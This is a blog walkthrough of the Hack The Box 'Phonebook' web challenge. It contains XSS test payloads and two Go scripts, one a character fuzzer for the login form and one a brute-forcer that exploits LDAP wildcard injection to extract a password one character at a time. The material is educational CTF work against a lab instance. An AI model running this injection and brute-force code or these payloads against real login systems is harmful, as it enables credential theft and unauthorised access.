DEV Community

loading...
Cover image for Hack The Box: Phonebook

Hack The Box: Phonebook

Souvik Kar Mahapatra
Your friendly developer and IT undergrad who loves exploring technologies and figuring out their underhood functioning. Exploring whatever comes on my way and interested in cybersecurity.
Originally published at souvikinator.netlify.app Updated on ・6 min read

Alt Text

The third challenge under the web and most of the votes are for Easy to Not Too Easy. Let's try it out.

CHALLENGE TITLE: Phonebook

CHALLENGE DESCRIPTION: Who is lucky enough to be included in the phonebook?

Let's find out if we are lucky enough. Looks like now we have to deal with logins. Go ahead and explore how the login behaves. On passing some random string in the input box, you'll see a warning: Authentication failed. Now notice the query parameter in URL: /login?message=Authentication%20failed and the message is getting rendered on the page. So possible XSS, let's test.

  1. ?message=<script>alert()</script>

but it won't work. Why? If you inspect element you'll find a script inside the body like so:

<script>
const queryString = window.location.search;
if (queryString) {
  const urlParams = new URLSearchParams(queryString);
  const message = urlParams.get('message');
  if (message) {
    document.getElementById("message").innerHTML = message;
    document.getElementById("message").style.visibility = "visible";
    }
  }
</script>
Enter fullscreen mode Exit fullscreen mode

and notice innerHTML=message.

If a <div>, <span>, or <noembed> node has a child text node that includes the characters (&), (<), or (>), innerHTML returns these characters as the HTML entities "&", "<" and ">" respectively. Use Node.textContent to get a raw copy of these text nodes' contents. more...

no worries, we got other ways to accomplish so.

?message=<img src=x onerror=alert(1) />

and we get an alert, however, I feel like XSS can't be used to bypass the authentication (not that I'm aware of) so need to find another way.

If you think the developer way, the input is somehow getting used to match the credentials in the database so there is still a chance that we can use these inputs to pass our payload.

There are many databases out there and the most common in SQL but we don't know whether SQL is being used by this application, so let's go ahead and test it out.

Payload: ' in username field

but nothing happens. I thought that the ' is somehow getting filtered maybe Idk, so escaping ' may work (purely a guess). \' gives a 500 status code or an internal server error 🧐. Even if you try only \ as input then also you'll get a 500 status code which implies there is something to do with \.

Information we have so far:

  1. We found an XSS source

  2. passing \ to inputs gives an internal server error. (this may be a major clue)

  3. Also the login message at the end is weird but don't know, let's keep it in the list.

We need to figure out which all characters give us internal server errors. You can do it manually but it's sloppy So I wrote a simple fuzzer in Golang to check the response for each character.

automation

Here is the code:

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "os"
    "sync"
)

func makeReq(URL string, ascii int, wg *sync.WaitGroup) {
    defer wg.Done()
    payload := string(ascii) //converting ascii value to character
    //submitting form data
    res, err := http.PostForm(URL, url.Values{
        "username": {payload},
        "password": {payload},
    })
    if err != nil {
        fmt.Println(err)
    }
    fmt.Printf("%s => %d => %s\n", payload, res.StatusCode, res.Request.URL)
}

func main() {
    var wg sync.WaitGroup
    if len(os.Args[1:]) > 1 || len(os.Args[1:]) == 0 {
        fmt.Println("ERR: one URL at a time can be passed.")
        os.Exit(0)
    }
    URL := os.Args[1:][0] //URL as command line argument
    // looping from 32 to 126 ascii values
    // I know some values are unnecessary, will fix 'em later
    for i := 32; i <= 126; i++ {
        go makeReq(URL, i, &wg)
        wg.Add(1)
    }

    wg.Wait()
}
Enter fullscreen mode Exit fullscreen mode

save it and run like so, go run filename.go http://157.245.33.31:30140/login, change the URL accordingly but make sure that /login path is included in the URL. Now if you go through the outputs you'll notice the following:

Most of the outputs are like so

< => 200 => http://134.209.25.183:32562/login?message=Authentication%20failed
e => 200 => http://134.209.25.183:32562/login?message=Authentication%20failed
- => 200 => http://134.209.25.183:32562/login?message=Authentication%20failed
| => 200 => http://134.209.25.183:32562/login?message=Authentication%20failed
.
.
.
so on
Enter fullscreen mode Exit fullscreen mode

but following 3 are eye-catching

\ => 500 => http://134.209.25.183:32562/login
) => 500 => http://134.209.25.183:32562/login
* => 200 => http://134.209.25.183:32562/login
Enter fullscreen mode Exit fullscreen mode

The first two, \ and ) give us internal error but the third one, * gives us a 200 OK response code (which other ASCII characters also do) along with a URL with no query parameter. Honestly, I have no idea why *,\ and ) are behaving like so but I guess we'll find out as we go ahead.

Using * as input and password, you'll be redirected to a different page. Looks like a search page for the phonebook. Empty search won't give anything.

Notice the login info given at the end has the name Reese and using Reese as username and * as password also logs us in. So we are sure that Reese is the username (notice the session cookies)

Searching for Reeves gives us details.

I noticed there is another way to bypass the login as well. If you inspect elements, you'll notice a few JS and CSS files being imported but not from CDN:

Login bypass alternative

Here you can access the CSS/JS file content by simply heading over to their respective URL.

http://157.245.33.31:30140/964430b4cdd199af19b986eaf2193b21f32542d0/

Now just remove the file name and you'll be logged in (no session cookie will be assigned) but if you search anything on the search page you'll get 403 forbidden under the network tab in the dev tool

On using ) and \ as a search query on the search page we get 500 server error. However, using * doesn't give us any result. Notice the network tab, it's making API call (XHR request) to the /search endpoint. After a bunch of tries didn't find anything interesting in the API. I would suggest playing around with various inputs in the search box and understand the response/result.

As we saw * gave us no result but any alphabet followed by * gives us results. So I tried the same on the login page.

Username: Re*, Ree*, Rees*... so on
Password: *

seems to work (apart from Reese, using any other name from phonebook search results doesn't seem to work).

If it's working with the username field then it should also work with the password field. Now that we can see the pattern, we can write a small script that follows the above pattern to brute force the password. Here is the code:

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "os"
)

type retData struct {
    StatusCode int
    redirURL   string
}

//lookup list generator
func genLookup(n1, n2 int) []string {
    var lookup []string
    for i := n1; i <= n2; i++ {
        lookup = append(lookup, string(i))
    }
    return lookup
}

//request maker
func makeReq(URL, tmp string) retData {
    uname := "Reese"
    pass := tmp + "*"
    res, err := http.PostForm(URL, url.Values{
        "username": {uname},
        "password": {pass},
    })
    if err != nil {
        fmt.Println("ERR:", err)
        os.Exit(0)
    }
    defer res.Body.Close()
    return retData{res.StatusCode, res.Request.URL.String()}
}

func fuzz(URL string, payload *string, lookup []string) {
    lookupLen := len(lookup) - 1
    i := 0
    for i <= lookupLen {
        tmp := *payload + lookup[i]
        info := makeReq(URL, tmp)
        if info.StatusCode == 200 && info.redirURL == URL {
            if i != lookupLen {
                i = 0
            }
            *payload = tmp
        } else {
            i++
        }
        fmt.Println(tmp)

    }
}

func main() {
    args := os.Args[1:]
    if len(args) == 0 {
        fmt.Println("Invalid Input")
        os.Exit(0)
    }
    URL := args[0]
    var payload string = ""
    lookup := genLookup(48, 126) //generate lookup list using ascii values
    fmt.Println(lookup)
    fmt.Printf("starting...\n")
    fuzz(URL, &payload, lookup)
    fmt.Println(payload)
}

Enter fullscreen mode Exit fullscreen mode

I am sure the script is not efficient and working on making it concurrent (will update the code). If you have any better way to implement this, feel free to share 😊.

save it and run it like so: go run filename.go http://157.245.33.31:30140/login

change the URL with yours but make sure the path is /login.

password bruteforce

and boom! we have the password.

giphy joke

I won't provide the password as the flag is the password. After solving, I got to know why ) & \ was behaving like so. It's known as LDAP injection. You can read more about it over here.

No doubt, it was a good challenge, and learned about LDAP (never heard of it before). Hope this walkthrough makes things clear.

"You measure the size of the accomplishment by the obstacles you had to overcome to reach your goals." -Booker T. Washington

Discussion (0)

Forem Open with the Forem app